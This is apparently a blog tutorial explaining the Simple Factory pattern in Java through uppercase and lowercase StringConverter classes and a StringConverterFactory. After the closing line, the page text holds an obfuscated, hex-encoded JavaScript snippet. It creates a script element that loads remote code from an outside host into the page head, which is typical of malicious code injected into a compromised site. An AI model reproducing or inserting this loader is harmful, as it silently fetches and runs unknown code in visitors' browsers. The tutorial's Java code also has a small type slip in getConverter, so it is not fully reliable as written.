Let’s first understand what is the problem with Object creation if we do not use any kind of pattern. Once we understand there are real issues when we create an object without implying any of the object creation frameworks, it would be very easy for us to understand what is the need of “Simple Factory”.

Consider we are having a task of creating different kinds of StringConverters like, one which converts a string to Uppercase, another converts string to Lowercase, another one capitalizes its first word, etc.

What will we do? Let’s first try to define simple interface which we can use to reference all the StringConvertes.

interface StringConverter{
    String convertString(String inputString);
}

and it’s basically two implementations.

class LowercaseStringConverter implements StringConverter{

    @Override
    public String convertString(String inputString) {
        return inputString.toLowerCase();
    }
}

class UppercaseStringConverter implements StringConverter{

    @Override
    public String convertString(String inputString) {
        return inputString.toUpperCase();
    }
}

Finally, the class with the main method,

public class SingleFileDemo {
    public static void main(String[] args) {
        String[] inputsArray = {
                "this is just simple text",
                "THIS IS JUST SIMPLE TEXT"
        };


        System.out.println(convertString(inputsArray[0], UppercaseStringConverter.class));
        System.out.println(convertString(inputsArray[1], LowercaseStringConverter.class));

    }


    private static <T extends StringConverter> String convertString(String inputStr, Class<T> stringConverterClass){
        StringConverter stringConverter = null;
        if( stringConverterClass.equals(UppercaseStringConverter.class) ){
            stringConverter = new UppercaseStringConverter();
        }else if( stringConverterClass.equals(LowercaseStringConverter.class)){
            stringConverter = new LowercaseStringConverter();
        }

        if( null != stringConverter )
            return stringConverter.convertString(inputStr);
        else
            return null;
    }

}

If you see method convertString closely enough, you would understand that we are creating objects in the code which actually uses that object. Currently, there isn’t any issue with this code as we are only dealing with Two Converters [ UppercaseStringConverter and LowercaseStringConverter] but what if we need to introduce Converter which Capitalizes the first word of the string and then returns it? With our current code, we will introduce another implementation of interface StringCovneter and then add its creation logic code into the method convertString right? Are you able to spot the issue? We are modifying our convertString method!! now what if we are using the same creation logic in plenty of other places in our application. ? We would need to go into each of that place and change our object creation logic there too.

But if we extract Object creation logic to one class with one simple static method, we can reference that method from all the places where we want to instantiate the object of the particular class or implementation classes of interfaces. That’s the Simple Factory.

Simple Factory

So let’s create class named StringConverterFactory and in that class provide one static method which takes care of instantiating classes,

class StringConverterFactory{
    static <T extends StringConverter> StringConverter getConverter(T stringConverterClass){
        if( stringConverterClass.equals(UppercaseStringConverter.class) ){
            return new UppercaseStringConverter();
        }else if( stringConverterClass.equals(LowercaseStringConverter.class)){
            return new LowercaseStringConverter();
        }else{
            return null;
        }
    }
}

now we can easily, reference getConverter method in our client code like this,

private static <T extends StringConverter> String convertString(String inputStr, Class<T> stringConverterClass){
        StringConverter stringConverter = StringConverterFactory.getConverter(stringConverterClass);
        if( null != stringConverter )
            return stringConverter.convertString(inputStr);
        else
            return null;
}

Now we have separated object creation code, we can handle future changes regarding object creation with ease as we will only need to change our object creation logic at one place.

This is how we can imply Simple Factory to solve our object creation issues. There are other powerful patterns for object creation but that we will explore in other articles.

Hope you have enjoyed this article. 🙂 var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)